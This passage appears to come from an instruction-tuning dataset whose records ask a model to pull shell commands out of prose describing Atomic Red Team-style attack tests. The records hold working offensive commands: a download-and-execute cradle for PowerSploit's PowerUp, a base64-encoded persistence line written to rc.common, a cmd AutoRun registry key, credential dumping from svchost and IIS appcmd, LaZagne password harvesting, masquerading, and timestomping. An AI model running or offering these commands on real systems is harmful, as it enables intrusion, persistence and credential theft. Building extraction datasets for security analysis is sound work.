-UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To modify rc.common and display a dialog on startup, use the following command: sudo echo osascript -e 'tell app \"Finder\" to display dialog \"Hello World\"' >> /etc/rc.common; You can make changes to rc.common with the following multi-step command: filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi\nprintf '%s\\n' '#!/bin/bash' | sudo tee /etc/rc.common\necho \"python3 -c \\\"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJwkK'))\\\"\" | sudo tee -a /etc/rc.common\nprintf '%s\\n' 'exit 0' | sudo tee -a /etc/rc.common\nsudo chmod +x /etc/rc.common",
    "output": "{\"command_list\": [\"sudo echo osascript -e 'tell app \\\"Finder\\\" to display dialog \\\"Hello World\\\"' >> /etc/rc.common\\n\", \"filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi\\nprintf '%s\\\\n' '#!/bin/bash' | sudo tee /etc/rc.common\\necho \\\"python3 -c \\\\\\\"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\\\\\\\"\\\" | sudo tee -a /etc/rc.common\\nprintf '%s\\\\n' 'exit 0' | sudo tee -a /etc/rc.common\\nsudo chmod +x /etc/rc.common\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Every time cmd.exe is executed, the command defined in the AutoRun registry key will also run. This persistence technique can be implemented using the command: New-ItemProperty -Path \"HKLM:\\\\Software\\\\Microsoft\\\\Command Processor\" -Name \"AutoRun\" -Value \"#{command}\" -PropertyType \"String\"; The CommandProcessor AutoRun registry key can be exploited for persistence, running a command automatically with cmd.exe, by executing the following: $path = \"HKCU:\\Software\\Microsoft\\Command Processor\"\nif (!(Test-Path -path $path)){\n  New-Item -ItemType Key -Path $path\n}\nNew-ItemProperty -Path $path -Name \"AutoRun\" -Value \"#{command}\" -PropertyType \"String\"",
    "output": "{\"command_list\": [\"New-ItemProperty -Path \\\"HKLM:\\\\Software\\\\Microsoft\\\\Command Processor\\\" -Name \\\"AutoRun\\\" -Value \\\"#{command}\\\" -PropertyType \\\"String\\\"\", \"$path = \\\"HKCU:\\\\Software\\\\Microsoft\\\\Command Processor\\\"\\nif (!(Test-Path -path $path)){\\n  New-Item -ItemType Key -Path $path\\n}\\nNew-ItemProperty -Path $path -Name \\\"AutoRun\\\" -Value \\\"#{command}\\\" -PropertyType \\\"String\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique involves copying and renaming cscript.exe before execution, which can be done with this command: copy %SystemRoot%\\System32\\cscript.exe %APPDATA%\\notepad.exe /Y\ncmd.exe /c %APPDATA%\\notepad.exe /B\n; To copy and rename wscript.exe while launching it as svchost.exe, use the following command: copy %SystemRoot%\\System32\\wscript.exe %APPDATA%\\svchost.exe /Y\ncmd.exe /c %APPDATA%\\svchost.exe \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1036.003\\src\\T1036.003_masquerading.vbs\"",
    "output": "{\"command_list\": [\"copy %SystemRoot%\\\\System32\\\\cscript.exe %APPDATA%\\\\notepad.exe /Y\\ncmd.exe /c %APPDATA%\\\\notepad.exe /B\\n\", \"copy %SystemRoot%\\\\System32\\\\wscript.exe %APPDATA%\\\\svchost.exe /Y\\ncmd.exe /c %APPDATA%\\\\svchost.exe \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\T1036.003\\\\src\\\\T1036.003_masquerading.vbs\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To dump plain-text RDP credentials from svchost.exe, use this command: $ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore)\nif($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id }\nC:\\Windows\\System32\\rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump $id $env:TEMP\\svchost-exe.dmp full. A successful execution will result in a file being created at $env:TEMP\\svchost-exe.dmp.; To reveal service account credentials configured for an IIS web server, an adversary may use AppCmd.exe with these commands: C:\\Windows\\System32\\inetsrv\\appcmd.exe list apppool /@t:*\nC:\\Windows\\System32\\inetsrv\\appcmd.exe list apppool /@text:*\nC:\\Windows\\System32\\inetsrv\\appcmd.exe list apppool /text:*",
    "output": "{\"command_list\": [\"$ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore)\\nif($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id }\\nC:\\\\Windows\\\\System32\\\\rundll32.exe C:\\\\windows\\\\System32\\\\comsvcs.dll, MiniDump $id $env:TEMP\\\\svchost-exe.dmp full\\n\", \"C:\\\\Windows\\\\System32\\\\inetsrv\\\\appcmd.exe list apppool /@t:*\\nC:\\\\Windows\\\\System32\\\\inetsrv\\\\appcmd.exe list apppool /@text:*\\nC:\\\\Windows\\\\System32\\\\inetsrv\\\\appcmd.exe list apppool /text:*\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute a remote compiled HTML Help payload, use the following command, which may display an error about the file not being able to open: hh.exe #{remote_chm_file}; The CHM file can be executed with the default Shortcut Command method via this command: Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}",
    "output": "{\"command_list\": [\"hh.exe #{remote_chm_file}\\n\", \"Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To run LaZagne for retrieving all saved passwords, use the following command: python2 laZagne.py all; The credentials can be extracted by executing: grep -ri password #{file_path}\nexit 0",
    "output": "{\"command_list\": [\"python2 laZagne.py all\\n\", \"grep -ri password #{file_path}\\nexit 0\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique, employed by Stitch RAT, modifies a file's creation date via the command: Get-ChildItem \"#{file_path}\" | % { $_.CreationTime = \"#{target_date_time}\" }\nSuccessful execution can be confirmed by viewing the file's Properties in File Explorer and noting the Created time is set to 1970.; For modifying a file's last write time to appear as 1970 (a method used by Stitch RAT), execute the command: Get-ChildItem \"#{file_path}\" | % { $_.LastWriteTime = \"#{target_date_time}\" }",
    "output": "{\"command_list\": [\"Get-ChildItem \\\"#{file_path}\\\" | % { $_.CreationTime = \\\"#{target_date_time}\\\" }\\n\", \"Get-ChildItem \\\"#{file_path}\\\" | % { $_.LastWriteTime = \\\"#{target_date_time}\\\" }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    